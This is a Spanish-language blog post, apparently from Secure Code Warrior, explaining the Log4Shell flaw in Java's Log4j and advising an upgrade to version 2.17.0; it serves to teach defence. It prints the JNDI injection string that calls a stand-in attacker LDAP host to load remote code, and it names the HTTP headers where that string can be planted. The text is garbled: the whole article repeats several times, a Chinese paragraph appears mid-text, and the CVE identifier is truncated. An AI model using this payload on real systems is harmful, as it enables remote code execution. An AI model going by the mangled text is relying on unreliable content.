
Explicación detallada de la vulnerabilidad de Log4j: sus vectores de ataque y métodos de prevención
El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.


En diciembre de 2021, se reveló una grave vulnerabilidad de seguridad llamada Log4Shell en la biblioteca Java Log4j. En este artículo, desglosaremos la vulnerabilidad Log4Shell en su forma más simple para que puedas comprender los conceptos básicos y te presentaremos una tarea: un patio de recreo en el que podrás utilizar tus conocimientos sobre la vulnerabilidad para intentar atacar un sitio web simulado.

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.
Reservar una demostraciónLaura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.


El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.

El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.

Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.
Ver informeReservar una demostraciónLaura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?
Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.
¿Noticias viejas?
Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga inyectada por Log4Shell es la siguiente:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.
La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».
Prevención: Concienciación
Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.
¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.
Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades para defenderte de Log4Shell.
¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.
Índice

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.
Reservar una demostraciónDescargarRecursos para ayudarle a empezar
Temas y contenidos de la formación sobre códigos de seguridad
Nuestro contenido líder en el sector está en constante evolución para adaptarse al cambiante panorama del desarrollo de software, teniendo en cuenta su función. Los temas abarcan desde la IA hasta la inyección de XQuery, y son aptos para puestos que van desde arquitectos e ingenieros hasta gestores de productos y control de calidad. Eche un vistazo por adelantado a nuestro catálogo de contenidos, ordenados por tema y función.
La Cámara de Comercio establece el estándar para la seguridad impulsada por desarrolladores a gran escala
Kamer van Koophandel comparte cómo ha integrado la codificación segura en el desarrollo diario mediante certificaciones basadas en roles, evaluaciones comparativas de Trust Score y una cultura de responsabilidad compartida en materia de seguridad.
Modelado de amenazas con IA: convertir a cada desarrollador en un modelador de amenazas
Saldrá mejor equipado para ayudar a los desarrolladores a combinar ideas y técnicas de modelado de amenazas con las herramientas de IA que ya utilizan para reforzar la seguridad, mejorar la colaboración y crear software más resistente desde el principio.
Recursos para ayudarle a empezar
Cybermon ha vuelto: la misión de derrotar al jefe IA ya está disponible bajo demanda.
Cybermon 2025 ya está disponible en SCW durante todo el año. Guerra de seguridad de IA/LLM de alto nivel de la tribu, desarrollo de IA de seguridad reforzada con modelos de gran escala.
Interpretación de la Ley de Resiliencia de la Red: ¿Qué significa lograr la seguridad mediante el diseño del desarrollo de software?
Comprenda los requisitos de la Ley de Resiliencia de las Redes de la Unión Europea (CRA), a quiénes se aplica y cómo los equipos de ingeniería pueden prepararse mediante prácticas de diseño, prevención de vulnerabilidades y desarrollo de capacidades de los desarrolladores.
Factor impulsor 1: Criterios de éxito claros y medibles
El facilitador 1 es el preludio de nuestra serie de 10 partes sobre los impulsores del éxito, que muestra cómo vincular la codificación segura con los resultados empresariales, como la reducción del riesgo y el aumento de la velocidad de maduración de los planes a largo plazo.




%20(1).avif)
.avif)
